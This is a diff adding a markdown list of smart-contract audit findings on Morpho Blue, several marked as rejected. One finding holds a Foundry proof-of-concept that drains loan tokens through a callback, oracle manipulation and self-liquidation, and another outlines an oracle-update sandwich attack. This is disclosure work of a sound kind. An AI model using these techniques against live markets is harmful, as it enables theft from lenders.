+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+
+ // AUDIT DONE: check that this is applied in every function call
+ // DONE - reviewed
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ // AUDIT DONE: check that this is applied in every function call
+ // DONE - reviewed
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+ else assets = shares.toAssetsUp(market[id].totalSupplyAssets, market[id].totalSupplyShares);
+
+ position[id][onBehalf].supplyShares += shares;
+ market[id].totalSupplyShares += shares.toUint128();
+ market[id].totalSupplyAssets += assets.toUint128();
+
+ if (data.length > 0) IMorphoSupplyCallback(msg.sender).onMorphoSupply(assets, data);
+
+ // AUDIT: it's interesting that all markets assets are controlled by one single contract aka address(this)
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+ }
+```
+- Tools Used
+Eyes
+
+- Recommended Mitigation Steps
+Morpho should callback after all internal actions are complete.
+
+
+
+### lenders will front-run and bypass bad debt realization loss causing other lenders to take more loss _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L197-L197](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L197-L197)
+
+there is no delay for withdrawals, so when bad debt happens all the lenders have incentive to withdraw their funds from market.
+this will create gas was as lenders will try to front-run each other and liquidation tx to withdraw while there is liquidity in the market.
+This has 3 issue:
+1- bank run will happen for that market happens.
+2- the bad debt will not get distributed fairly between lenders. those who withdraw faster will receive no loss, while the remaining lender will receive more loss.
+3- as lenders withdraw their funds, utilization rate of the market will go high as 100% which means interest rate is gonna go higher and so borrowers start to repay their deb.
+
+combining 1 and 2 will make market to loss big portion of its lenders and borrowers in a short time.
+
+
+bad debt realization should be distributed among all the lenders that were in the market while the debt was ongoing, I suggest adding a withdrawal delay to make sure no one can bypass bad debt with front-running the liquidation tx.
+
+
+
+### Inconsistency in subtracting asset from market pool. _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**
+
+There two pool balances in a Blue Market, `TotalSupplyAssets` and `TotalLoanAssets`. Both share the same token/asset, meaning its withdrawing from the same market pool, as `TotalSupplyAssets - TotalLoanAssets` indidcates the amount of cash available in the pool for loan. So both are just different balances of same asset, one stipulates how much has been loaned out of the market pool and another stipulates how much has been supplied into the market, while the positive difference in both stipulates the amount available for lending.
+
+The inconsistency arrises when both states are treated differently when subtracting of assets from the pool, keep in mind that it is one pool, but the variables maintain different types of mutation against the sinlge pool.
+
+When subtracting in [Repay](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L285):
+
+` market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, assets).toUint128();`
+
+When subtracting in [Liquidate](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L382):
+
+` market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();`
+
+But when subtracting in [Withdraw](https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L218C9-L218C60):
+
+`market[id].totalSupplyAssets -= assets.toUint128();`
+
+
+**Recommendation**
+
+Unify the mechanism to reduce assets from the lending pool.
+
+
+
+
+### First borrower of a Market can set max total borrow cap for markets that will show it self later _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L232-L232](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L232-L232)
+
+The mentioned attack in file audit file: "First borrower of a Market can stop other users from borrowing by inflating" can be performed in other manner to make it more impactful.
+attacker doesn't need to inflate the PPS too much to cause revert for other borrow txs. attacker can inflate the PPS to make a maximum limit for market borrow amount.
+
+for example to make sure that market total borrowed assets can't go higher than 1M attacker will inflate PPS to `2^256 / (10^6 * 10^18)` (assuming token has 18 precision). this way the early users can continue work with market and all features will work but, after a while when borrow amount reaches 1M, market won't let new users to borrow.
+
+This will give ability to set max cap for borrow amount in markets and because the impacts shows it self later when users already engaged with market so abandoning market will not be as much as ignoring it(unlike previous report). for example attacker can plan things that after markets created for some months, and markets reached the max cap, users will know that these markets have max borrow cap and they are not efficient.
+
+balancing the market interest rate depends on borrower and lenders actions, by performing this attack, attacker is removing one of the actions that can create inefficient market(borrow amount can't go higher if interest rate were low when borrow amount reaches the max cap attacker planed)
+
+
+
+### Liquidation can make the market unusable for lenders.
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+The Morpho blue Team docs states that "in Morpho Blue, when a liquidation leaves an account with some remaining debt and without collateral, the loss is realized and shared proportionally between all lenders. The market is thus left 100% usable", but this is not the case as always, as a liquidation of a bad debt can make a market less than 100% usable.
+
+There are alot of factors that make this not the case, and all are novel to Blue lending architecture. The factors are: the Isolation of the collateral to a single token and the deduction of bad debt from the lending pool. Here is how there all converge to make the assertion of 100% market usability an incomplete statement.
+
+Each market has an interest rate that is generated over time as a incentive to reward lenders to lend to a market, lets take for example a market on Compound v3, WETH market. It has a borrow APR of 2.65% and a supply APR of 2.44%, the difference in both interest is probably due to the fees supplied to the protocol/market. The borrow APR is always same or greater than the Supply APR, cause the supply APR is gotten by fees paid by the borrower, as seen here : https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L476C1-L479C62
+
+
+```
+ uint256 borrowRate = IIrm(marketParams.irm).borrowRate(marketParams, market[id]);
+ uint256 interest = market[id].totalBorrowAssets.wMulDown(borrowRate.wTaylorCompounded(elapsed));
+ market[id].totalBorrowAssets += interest.toUint128();
+ market[id].totalSupplyAssets += interest.toUint128();
+```
+
+So it can be assumed that a certain percentage of the `totalSupplyAssets` is meant to be shared by all the lenders, which in this case is 2.44%, so it means that each share appreciates 2.44% more than before. and without that appreciation all thats left in the pool is just the lenders investment without interest. So in essense the totalSupplyAssets = LendersInvestment + Interest.
+
+Example :
+
+LendersInvestment = 300ETH,
+
+Interest = 2.44%
+
+TotalSupplyAssets = 300ETH + 2.44%. = 307.32ETH
+
+If at any time the baddebt which is deducted from the lending pool (totalSupplyAssets) exceeds the interest % of the market, it means that the market automatically falls into a defualting state where the amount the market uses in servicing the debt has exceeded the interest of the market and enten into the investment itself, which means that if a lender decides to withdraw after a liquidation that deducts from the lending pool to service debt and the debt servicing exceeds the interest, the amount withdrawn by the lender would be lesser than its initial investment. Ofcourse over time the the interest on the currently borrowed asset might cover up for the lost investment and interest, but at that moment the pool is no more lucrative to new lenders to enter into the market and they are better off finding an alternative market or creating a new market. As any deposit into the market will be first used in serving the debt before the market reaches a point when the debt is done being serviced and then interest accrued becomes profit.
+
+Scenarios like this are very likley to happen because of the single collataral token of the pool and the LLTV and LTV being the same as a borrower can borrow upto its LLTV (but not exceed) and liquidation happens when it exceeds. Since a single collataral token is used for a market, it means that all borrow positions are exposed to the single token risk, it means that any change to the collataral price affects every borrow position in that market, and a significant change can liquidate a huge portion of all positions. For example a 20% change in price of collataral asset can make all borrow positions who have about less than 20% remaining borrow capacity to qualify for liquidation. Keep in mind that most liquidators work with automated solutions, so one liquidator can liquidate the entire positions available for liquidation in one transaction with a bot and with that one sweep leaves the market less than 100% usable.
+
+The two factors mentioned earlier (Single token and Deducting from lending pool) all combine to form a mechanism that encourages borrowings that might put the market in indebted state servicing bad debts. Each individually is not the problem but the combination of them all in one,
+
+- Recommendation:
+
+Adjust any of the parameters above to change the behavior, like limiting the amount the lending pool can pay for, or change how bad debt is being handled.
+
+
+
+### Allowing ERC4626 tokens to be used as collateral opens up to oracle manipulation and the loan tokens can be stolen _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**:
+
+The Morpho Chainlink Oracle allows to use ERC4626 tokens meaning ERC4626 tokens can be used as collateral.
+
+```solidity
+function price() external view returns (uint256) {
+ return SCALE_FACTOR.mulDiv(
+ VAULT.getAssets(VAULT_CONVERSION_SAMPLE) * BASE_FEED_1.getPrice() * BASE_FEED_2.getPrice(),
+ QUOTE_FEED_1.getPrice() * QUOTE_FEED_2.getPrice()
+ );
+ }
+
+```
+
+
+The oracle uses Chainlink-compliant feeds which are impossible to manipulate however we are able to manipulate the price when a ERC4626 vault is used and `convertToAssets()` is called.
+
+Lets take a look at the[ `convertToAssets()`](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/0457042d93d9dfd760dbaa06a4d2f1216fdbe297/contracts/token/ERC20/extensions/ERC4626.sol#L212) that is called on the vault contract.
+
+This function returns the amount of assets that would be exchanged by the vault for the amount of shares provided using this formula:
+
+`(VAULT_CONVERSION_SAMPLE * totalAssets()) / totalSupply()`
+
+Because we are able to change the totalAssets or the totalSupply this allows us to change the price that the oracle using a ERC4626 vault returns.
+
+
+Our goal is to either only decrease the totalAssets or only increase the totalSupply to make the price smaller, when we deposit or withdraw into the vault this will not affect the conversion. However some vaults can have additional functionality which allows us to do that for example:
+
+- A fee when depositing/withdrawing which will increase only the shares supply, we can then use a flashloan to make this fee big
+
+- An admin function that allows the admin to transfer the underlying token or mint new shares, if the admin ever becomes malicious he can take advantage of this
+
+- And other functionality that any ERC4626 vaults have, the only requirement is that the underlying token has a Chainlink feed.
+
+
+
+This allows us to perform an attack on a market that uses a ERC4626 token as the collateral to steal the loan tokens:
+
+**Step 1**: Supply collateral and use the callback before the transfer happens
+
+**Step 2**: In the callback we would then:
+ -> Borrow the max amount that we could
+ ->Manipulate the oracle price to make our position unhealthy(making the price smaller, like mentioned above)
+ ->Liquidate ourselves, we need to liquidate all the collateral to enter the if-block when collateral == 0 so we dont have to repay everything, we are using the borrowed amount to repay
+
+
+**Step 3**: Transfer the collateral that we received from liquidating after the callback ends
+
+Because we have repaid less than we borrowed we managed to steal the loan tokens.
+
+
+
+**Impact**:
+
+An attacker can steal the loan tokens and could repeat this until there are no more loan tokens left in the market. The suppliers will also lose everything because of this and wont be able to get their tokens back.
+
+
+**PoC**:
+
+As you can see here the attacker is able to supply, borrow,manipulate, liquidate in the same transaction and he will profit from this.
+
+```solidity
+
+pragma solidity 0.8.19;
+
+import "forge-std/Test.sol";
+import {Morpho, MarketParams} from "src/Morpho.sol";
+import "src/libraries/MarketParamsLib.sol";
+import {IMorpho, Position, Market} from "src/interfaces/IMorpho.sol";
+import {ERC20Mock} from "src/mocks/ERC20Mock.sol";
+import {OracleMock} from "src/mocks/OracleMock.sol";
+import {IERC20} from "src/mocks/interfaces/IERC20.sol";
+import {IrmMock} from "src/mocks/IrmMock.sol";
+
+contract AttackTest is Test {
+
+ using MarketParamsLib for MarketParams;
+
+ uint256 constant ORACLE_PRICE_SCALE = 1e36;
+
+ address SUPPLIER_1;
+ address SUPPLIER_2;
+ address OWNER;
+ ERC20Mock loanToken;
+ ERC20Mock erc4626CollateralToken;
+
+ IMorpho morpho;
+ OracleMock oracle;
+ IrmMock irm;
+
+ MarketParams marketParams;
+ uint LLTV = 0.8e18; //(80%)
+
+ function setUp() public {
+
+ loanToken = new ERC20Mock();
+ vm.label(address(loanToken), "LoanToken");
+
+ erc4626CollateralToken = new ERC20Mock();
+ vm.label(address(erc4626CollateralToken), "erc4626CollateralToken");
+
+ oracle = new OracleMock();
+
+ oracle.setPrice(ORACLE_PRICE_SCALE); //1
+
+ irm = new IrmMock();
+
+ SUPPLIER_1 = makeAddr("supplier 1");
+ deal(address(loanToken), SUPPLIER_1, 1_000_000 ether);
+
+ SUPPLIER_2 = makeAddr("supplier 2");
+ deal(address(loanToken), SUPPLIER_2, 1_000_000 ether);
+
+ OWNER = makeAddr("Owner Address");
+
+ morpho = IMorpho(address(new Morpho(OWNER)));
+ vm.startPrank(OWNER);
+ morpho.enableIrm(address(irm));
+ morpho.enableLltv(LLTV);
+ vm.stopPrank();
+
+ //create a market
+ marketParams = MarketParams(address(loanToken), address(erc4626CollateralToken), address(oracle), address(irm), LLTV);
+ morpho.createMarket(marketParams);
+
+ //Add liquidity
+ vm.startPrank(SUPPLIER_1);
+ loanToken.approve(address(morpho), loanToken.balanceOf(SUPPLIER_1));
+ morpho.supply(marketParams, loanToken.balanceOf(SUPPLIER_1), 0, SUPPLIER_1, bytes(""));
+
+ changePrank(SUPPLIER_2);
+ loanToken.approve(address(morpho), loanToken.balanceOf(SUPPLIER_2));
+ morpho.supply(marketParams, loanToken.balanceOf(SUPPLIER_2), 0, SUPPLIER_2, bytes(""));
+ vm.stopPrank();
+
+ assertEq(loanToken.balanceOf(address(morpho)), 2_000_000 ether);
+
+ deal(address(erc4626CollateralToken), address(morpho), 10000 ether);
+ }
+
+ function testSupplyWithHookAttack() public {
+ //Supply using the callback
+ morpho.supplyCollateral(marketParams, 10000 ether, address(this), bytes("1"));
+
+ console.log("Profit of the attacker: %s ether", loanToken.balanceOf(address(this)) / 1 ether);
+ }
+
+ function onMorphoSupplyCollateral(uint256 assets, bytes calldata data) external {
+ //Borrow the max - 80% lltv
+ (, uint256 shares) = morpho.borrow(marketParams, 8000 ether, 0, address(this), address(this));
+
+ //Manipulate the oracle that uses a erc4626 vault
+ //How we can possibly manipulate it is mentioned in the report
+ //20% price reduction
+ oracle.setPrice(8e35);
+
+ //Liquidate ourselves
+ loanToken.approve(address(morpho), loanToken.balanceOf(address(this)));
+ (uint seizedAssets, uint repaidAssets) = morpho.liquidate(marketParams, address(this), 10000 ether, 0, bytes(""));
+ console.log("Received %s collateral tokens and repaid %s loan tokens", seizedAssets / 1 ether, repaidAssets / 1 ether);
+
+ erc4626CollateralToken.approve(address(morpho), erc4626CollateralToken.balanceOf(address(this)));
+ }
+
+}
+
+
+```
+
+
+**Recommendation**:
+
+
+ERC4626 tokens should not be supported and should be removed from the Morpho Oracle
+
+
+
+
+### Its hard to repay ones entire loan at once
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**
+
+When repaying onces loan, its almost a guess work of what the final amount of asset to be repaid is. This is the case because assets accrue on selected fixed interval when the contract is interacted with.
+
+**Proof of Concept**
+
+Bob wants to repay his entire loan of estimated amount 50ETH, and the estimation actually includes the eccrued interest on the next block, but bobs transaction is not included in the next two blocks, and when it is finally included, the interest on the loan has accrued multiple times, now his estimated amount is not enough to close the laon, he does this again for two other times and it keeps repeating itself.
+
+```
+function repay(
+ MarketParams memory marketParams,
+ uint256 assets,
+ uint256 shares,
+ address onBehalf,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(assets, shares), ErrorsLib.INCONSISTENT_INPUT);
+ require(onBehalf != address(0), ErrorsLib.ZERO_ADDRESS);
+
+ _accrueInterest(marketParams, id);
+
+ if (assets > 0) shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+ else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+ position[id][onBehalf].borrowShares -= shares.toUint128();
+ market[id].totalBorrowShares -= shares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, assets).toUint128();
+
+ // `assets` may be greater than `totalBorrowAssets` by 1.
+ emit EventsLib.Repay(id, msg.sender, onBehalf, assets, shares);
+
+ if (data.length > 0) IMorphoRepayCallback(msg.sender).onMorphoRepay(assets, data);
+
+ IERC20(marketParams.loanToken).safeTransferFrom(msg.sender, address(this), assets);
+
+ return (assets, shares);
+ }
+
+```
+
+- recommendation
+
+There should be a mechananism to allow users repay the max amount owed, like so:
+``` diff
++ if(type(uint).max == assets || type(uint).max == shares) shares = position[id][onBehalf].borrowShares;
+
++ if(shares > 0) assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
++ else shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+
+- if (assets > 0) shares = assets.toSharesDown(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+- else assets = shares.toAssetsUp(market[id].totalBorrowAssets, market[id].totalBorrowShares);
+```
+
+
+
+### A borrower can avoid liquidation _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Description**
+
+A borrower can continuously avoid liquidation by frontrunning the liquidation transaction and adding just enough repay loan amount to make the liquidator transaction invalid.
+
+**Proof Of concept**
+
+Bob intends to pay for Alice current unhealthy position, by liquidating the entire position and seizing its collatral worth. If Alice position is 100ETH, and the Siezed collateral Amount equivalent to that is 110ETH. Bob sends a transaction with a siezeAmount of 110ETh, Alice sees this transaction and decides to frontrun it and pay back just 10eth, making the loan 90ETH and not 100ETH anymore. When bobs transaction finally gets executed, it will fail cause now the equivalent loan balance of 110ETH which it intended to seize is 100eth, while the current loan balance is 90eth, the transaction will revert with an underflow error as bob is over paying for the loan.
+
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L380C8-L384C71
+
+```
+ position[id][borrower].borrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowShares -= repaidShares.toUint128();
+ market[id].totalBorrowAssets = UtilsLib.zeroFloorSub(market[id].totalBorrowAssets, repaidAssets).toUint128();
+
+ position[id][borrower].collateral -= seizedAssets.toUint128();
+```
+
+**recommendation**
+
+Instead of directly taking the repay amount out of the borrow position, check that the position is less than or equal to repayment.
+```
+ if(repaidShares > position[id][borrower].borrowShares ) repaidShares = position[id][borrower].borrowShares;
+```
+
+The get the seize collateral that fits into the new repaidShares.
+
+
+
+### IRM codes can be changed after they are set as valid if they were deployed with CREATE2 opcode _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L104-L104](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L104-L104)
+
+IRM can't be disabled after it was enabled.
+
+the issue is that IRM codes can change after they set as enabled and code doesn't make sure that IRMs are immutable. if one IRM has been deployed with `CREATE2` opcode, and had `selfdestruct` then that IRM address's code can be changed (owner will trigger `selfdestruct` and then redeploy the new contract to same address with some tricks that is explained [here](https://ethereum-blockchain-developer.com/110-upgrade-smart-contracts/12-metamorphosis-create2/) ). if this happens then the behavior of all the markets that depend on that IRM will change and users may lose funds and if IRM was malicious can cause loss by re-entering the Morpho.
+
+It's true that only Morpho governance can set set a valid IRMs, but because the risk of `selfdestruct` and replacing the IRM is not mentioned in the docs I believe this is a valid risk for contest.
+
+to make sure that this will not happen, I suggest that code only accept IRM addresses that is deployed by Morpho address. (create a IRM factory that deploys contracts with `CREATE` opcode and whitelist them and in Morpho contract only allow enabling those whitelisted IRMs)
+
+
+
+
+### Inconsistence in totalBorrowAssets calculations due to missing invariant check _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Lines of code
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L253
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L285
+
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L382
+
+- Description
+Aside when accruing interest and sharing bad debt which both significantly involve totalSupplyAssets, protocol checks invariant on totalBorrowAssets during its updates. It uses UtilsLib.zeroFloorSub() on liquidate() and repay(), however, doesn't perform this similar operation on borrow(). This causes inconsistency in totalBorrowAssets calculation.
+
+
+- Recommendation
+Add a similar operation for addition in the UtilsLib (UtilsLib.zeroFloorAdd()), and update borrow() to use this when updating totalBorrowAssets and ensure consistency.
+
+
+
+
+### There is no ability for a liquidator to control the effective price _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context:** [https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L357](Morpho.sol#L357), [https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L369-L377](Morpho.sol#L369-L377)
+
+**Description:** While Oracle reported asset to collateral price and liquidator effective price can differ, even substantially for more niche and less liquid markets, there is no ability for the liquidator to directly control for the level of the Oracle price used in the particular liquidation. Main sources of the discrepancy are liquidity fragmentation, transaction costs and overall collateral volatility.
+
+It is not only the profit maximization question, but also a loss control one as margins of these actors can become negative. This lack of control for the effective slippage will increase the probability of losses for the liquidators and make them less willing to participate. The end result would be that liquidators will demand somewhat bigger margins, which effectively make the protocol less healthy as the undercollateralized loans will be removed slower for the markets where this effective vs Oracle reported price difference be profound enough.
+
+There is no ability to revert on unfavourable Oracle reading as `liquidate()` has no slippage controls:
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L359
+
+```solidity
+ function liquidate(
+ MarketParams memory marketParams,
+ address borrower,
+ uint256 seizedAssets,
+ uint256 repaidShares,
+ bytes calldata data
+ ) external returns (uint256, uint256) {
+ Id id = marketParams.id();
+ require(market[id].lastUpdate != 0, ErrorsLib.MARKET_NOT_CREATED);
+ require(UtilsLib.exactlyOneZero(seizedAssets, repaidShares), ErrorsLib.INCONSISTENT_INPUT);
+
+ _accrueInterest(marketParams, id);
+
+>> uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+ require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+```
+
+Impact: liquidators will have net loss from the liquidations in these cases. On the one hand such losses can be considered as a part of the business, on the another this will effectively mean that liquidators will increase the requested margin and wait longer to act, so the protocol will become less healthy overall (effective collateralization will be maintained less strictly). On strong market movements this can end up with more bad debt and more losses for the market lenders. Given this the impact severity can be estimated as high.
+
+The only prerequisite is big enough difference between Oracle reported price and effective price for the liquidator (to reiterate, one with all the costs and slippages). Such difference is a by product of overall market liquidity and volatility (say when market crashes the synchronization of various market segments decreases and transaction costs increase, thus the difference). The worsening of these conditions can be observed periodically in various segments of the market, so this probability can be estimated as medium. However, in order for this to lead to losses market has to move significantly, so liquidator's slack give way for bad debt and lender's losses. As this is an addition condition, the total probability of this ending up with lender losses can be best estimated as low.
+
+Per low probability and high impact setting the total severity to be medium.
+
+**Recommendation:** Consider introducing threshold price argument to `liquidate()`, so when Oracle reported collateral price is too big (and liquidator will spend more assets or receive less collateral) the execution reverts.
+
+
+
+### Any Oracle update with sufficiently big price decline can be sandwiched to extract value from the protocol
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+**Context:** [https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L364-L377](Morpho.sol#L364-L377)
+
+**Description:** Whenever oracle update provides substantial enough price decline the fixed nature of liquidation incentive along with with the fixed LLTV for the market provides for the ability to artificially create bad debt and immediately liquidate it, stealing from protocol depositors.
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L344-L378
+
+```solidity
+ function liquidate(
+ ...
+ ) external returns (uint256, uint256) {
+ ...
+
+>> uint256 collateralPrice = IOracle(marketParams.oracle).price();
+
+>> require(!_isHealthy(marketParams, id, borrower, collateralPrice), ErrorsLib.HEALTHY_POSITION);
+
+ uint256 repaidAssets;
+ {
+ // The liquidation incentive factor is min(maxLiquidationIncentiveFactor, 1/(1 - cursor*(1 - lltv))).
+ uint256 liquidationIncentiveFactor = UtilsLib.min(
+ MAX_LIQUIDATION_INCENTIVE_FACTOR,
+>> WAD.wDivDown(WAD - LIQUIDATION_CURSOR.wMulDown(WAD - marketParams.lltv))
+ );
+
+ if (seizedAssets > 0) {
+ repaidAssets =
+ seizedAssets.mulDivUp(collateralPrice, ORACLE_PRICE_SCALE).wDivUp(liquidationIncentiveFactor);
+ ...
+ } else {
+ ...
+ seizedAssets =
+ repaidAssets.wMulDown(liquidationIncentiveFactor).mulDivDown(ORACLE_PRICE_SCALE, collateralPrice);
+ }
+ }
+```
+
+https://github.com/morpho-org/morpho-blue/blob/f463e40f776acd0f26d0d380b51cfd02949c8c23/src/Morpho.sol#L387-L398
+
+```solidity
+>> if (position[id][borrower].collateral == 0) {
+ ...
+>> position[id][borrower].borrowShares = 0;
+ }
+```
+
+For highly volatile collateral it's possible to sandwich Oracle update transaction (tx2), creating min collateralized loan before (tx1) and liquidating it right after, withdrawing all the collateral (tx3). As liquidation pays the fixed incentive and socialize the resulting bad debt, if any, all the cases when bad debt can be created on exactly one Oracle update (i.e everywhere when it's sufficiently volatile w.r.t. LLTV), this can be gamed, as the attacker will pocket the difference between debt and collateral valuation, which they receive in full via liquidate-withdraw collateral sequence in tx3.
+
+Notice that initial LLTV setting might be fine for the collateral volatility at that moment, but as particular collateral/asset pair might become substantially more volatile (due to any developments in collateral, asset or changes of the overall market state), while there is no way to prohibit using LLTV once enabled.
+
+Schematic POC:
+
+a. Morpho instance for stablecoins was launched with USDC collateral and USDT asset allowed, and with LLTV set included competitive reading of `95%`, over time it gained TVL, USDC and USDT is now traded 1:1. Liquidation incentive factor for the market is `liquidationIncentiveFactor = 1.0 / (1 - 0.3 * (1 - 0.95)) = 1.01522`.
+
+b. There was a shift in USDC reserves valuation approach, and updated reserves figures are priced in sharply via new Oracle reading of `0.9136 USDT per USDC`.
+
+c. Bob the attacker front runs the Oracle update transaction (tx2) with the borrowing of `USDT 0.95m` having provided `USDC 1m` (tx1, and for simplicity we ignore dust adjustments in the numbers where they might be needed as they don't affect the overall picture).
+
+d. Bob back-runs tx2 with liquidation of the own loan (tx3), repaying `USDT 0.9m` of the `USDT 0.95m` debt. Since the price was updated, with `repaidAssets = USDT 0.9m` he will have `seizedAssets = USDC 0.9m * 1.01522 / 0.9136 = USDC 1m`.
+
+e. Bob regained all the collateral and pocketed `USDT 0.05m`, which was written off the deposits as bad debt.
+
+Impact: attacker can steal principal funds from the protocol by artificially creating bad debt. This is a permanent loss for market lenders, its severity can be estimated as high.
+
+Probability of this can be estimated as medium as collateral volatility is not fixed in any way and sharp downside movements will happen from time to time in a substantial share of all the markets. The prerequisite is that initially chosen LLTV does not fully guarantee the absence of bad debt after one Oracle update. This effectively means that LLTV has to be updated to a lower value, but it is fixed within the market and such changes are usually subtle enough (as compared to more substantially scrutinized initial settings), so, once that happens, there is substantial probability that there will be a window of opportunity for attackers, the period when LLTV of a big enough market being outdated and too high, but there was no communication about that and the marker being actively used.
+
+Per medium probability and high impact setting the total severity to be high.
+
+**Recommendation:** Consider introducing a liquidation penalty for the borrower going to fees. The goal here is not to increase the fees, it's recommended that interest based fee should be simultaneously lowered, but to disincentivize the careless borrowers and to make self-liquidation a negative sum game.
+
+Consider monitoring for the changes in collateral volatilities and flagging the markets whose initially chosen LLTV became not conservative enough, so lenders be aware of the risk evolution.
+
+
+
+### LPs end up paying small imaginary badDepts even when there are no badDepts
+
+**Severity:** Medium risk
+
+**Context:** _(No context files were provided by the reviewer)_
+
+- Lines of code
+https://cantina.xyz/ai/d86b7f95-e574-4092-8ea2-78dcac2f54f1/morpho-org-morpho-blue-f463e40/src/Morpho.sol#L387
+
+- Description
+When borrower has no colletaral left after liquidating, but also has no dept as well, protocol still rounds up the 0 dept to 1 and share among LP due to missing && statement logic. Depending on the token been traded this could cause different loss amount on LPs every time this occurs.
+
+- Recommendation
+Change
+```solidity
+if (position[id][borrower].collateral == 0) {
+```
+to
+```
+if (position[id][borrower].collateral == 0 && position[id][borrower].borrowShares > 0) {
+```
+
+
+
+### function `setFeeRecipient()` doesn't distribute pending fees(pending interest) _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L139-L139](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L139-L139)
+
+code doesn't distribute pending fees (which means fee from pending interests) before changing the recipient. the pending fee belongs to the previous recipient.
+
+so whenever recipient get changed, the old recipient loses funds. because it pending fee is in the all markets in the Morpho so their sum can be high value.
+
+
+
+
+### there should be maximum limit for lltv that code enforces it, very high lltv will result in faulty markets
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L113-L113](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L113-L113)
+
+if very high lltv values get whitelisted then those markets based on those lltvs will not have enough incentive factor for liquidation.
+as Morpho is immutable and allows for permissionless market creation, it shouldn't allow for creating inefficient and broken markets. high lltv means faster liquidation and lower incentive factor which will result in frequent bad debt and under-collateralized positions.
+
+for example if lltv was 97% then liquidation incentive will be about 1% which means liquidating loan worth \$1000 will result in \$10 profit which is less than gas cost in Ethereum.
+
+overall there should be maximum limit for lltv that is enforced in the code to protect users from faulty markets.
+
+
+
+### IRM may have external calls that those call can reenter the Morpho's `accrueInterest()` _(this issue has been rejected)_
+
+**Severity:** Medium risk
+
+**Context:** [Morpho.sol#L476-L476](morpho-org-morpho-blue-f463e40/src/Morpho.sol#L476-L476)
+
+Even so it's mentioned in the code comments that IRM shouldn't reenter the Morpho but IRM may have some external calls that those calls tries to enter Morpho.
+this risk is not mentioned in the code (IRM calling external contracts).
+If this happens, then the external contract can reenter and call `accrueInterest()` again and again and because in each time `elapsed` will be same and Morpho will increase the interest N times more (suppose reentering happens for N time).
+
